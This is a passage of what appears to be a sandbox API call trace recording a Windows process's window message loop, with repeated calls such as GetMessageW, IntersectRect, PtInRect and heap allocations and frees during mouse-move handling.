[0084.336] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.337] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.337] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.337] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.337] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.337] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.337] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.337] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.337] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.337] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.337] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.337] GetCurrentThreadId () returned 0xcd8 [0084.337] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.337] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.337] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.338] NtdllDefWindowProc_W () returned 0x0 [0084.338] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.338] GetCurrentThreadId () returned 0xcd8 [0084.338] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.338] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.338] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.338] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.338] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.338] GetCurrentThreadId () returned 0xcd8 [0084.338] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.338] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.338] GetMessageTime () returned 212738 [0084.338] GetMessagePos () returned 0x218027c [0084.338] GetCapture () returned 0x0 [0084.338] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.338] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.338] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.338] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.338] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.338] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.339] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.339] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.339] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.339] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.339] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.339] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.339] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.339] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.339] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.339] GetCursor () returned 0x10003 [0084.339] GetCurrentThreadId () returned 0xcd8 [0084.339] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.339] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.339] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.339] GetMessageTime () returned 212738 [0084.339] GetMessagePos () returned 0x218027c [0084.339] GetCapture () returned 0x0 [0084.339] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.339] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.340] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.340] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.340] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.340] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.340] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.340] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.340] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.340] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.340] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.340] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.340] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.340] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.340] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.341] GetCurrentThreadId () returned 0xcd8 [0084.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.341] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.341] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.341] NtdllDefWindowProc_W () returned 0x0 [0084.341] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.341] GetCurrentThreadId () returned 0xcd8 [0084.341] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.341] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.341] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.341] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.341] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.341] GetCurrentThreadId () returned 0xcd8 [0084.341] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.341] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.342] GetMessageTime () returned 212738 [0084.342] GetMessagePos () returned 0x218027c [0084.342] GetCapture () returned 0x0 [0084.342] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.342] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.342] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.342] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.342] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.342] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.342] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.342] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.342] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.342] GetCursor () returned 0x10003 [0084.342] GetCurrentThreadId () returned 0xcd8 [0084.342] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.342] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.342] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.343] GetMessageTime () returned 212738 [0084.343] GetMessagePos () returned 0x218027c [0084.343] GetCapture () returned 0x0 [0084.343] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.343] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.343] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.343] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.343] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.343] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.343] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.344] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.344] GetCurrentThreadId () returned 0xcd8 [0084.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.344] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.344] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.344] NtdllDefWindowProc_W () returned 0x0 [0084.344] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.344] GetCurrentThreadId () returned 0xcd8 [0084.344] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.344] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.344] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.344] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.345] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.345] GetCurrentThreadId () returned 0xcd8 [0084.345] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.345] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.345] GetMessageTime () returned 212738 [0084.345] GetMessagePos () returned 0x218027c [0084.345] GetCapture () returned 0x0 [0084.345] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.345] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.345] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.345] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.345] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.345] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.345] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.346] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.346] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.346] GetCursor () returned 0x10003 [0084.346] GetCurrentThreadId () returned 0xcd8 [0084.346] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.346] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.346] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.346] GetMessageTime () returned 212738 [0084.346] GetMessagePos () returned 0x218027c [0084.346] GetCapture () returned 0x0 [0084.346] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.346] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.346] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.346] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.346] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.346] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.347] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.347] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.347] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.347] GetCurrentThreadId () returned 0xcd8 [0084.347] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.347] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.347] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.347] NtdllDefWindowProc_W () returned 0x0 [0084.347] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.347] GetCurrentThreadId () returned 0xcd8 [0084.347] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.348] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.348] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.348] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.348] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.348] GetCurrentThreadId () returned 0xcd8 [0084.348] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.348] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.348] GetMessageTime () returned 212738 [0084.348] GetMessagePos () returned 0x218027c [0084.348] GetCapture () returned 0x0 [0084.348] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.348] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.348] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.348] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.348] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.348] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.348] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.348] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.348] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 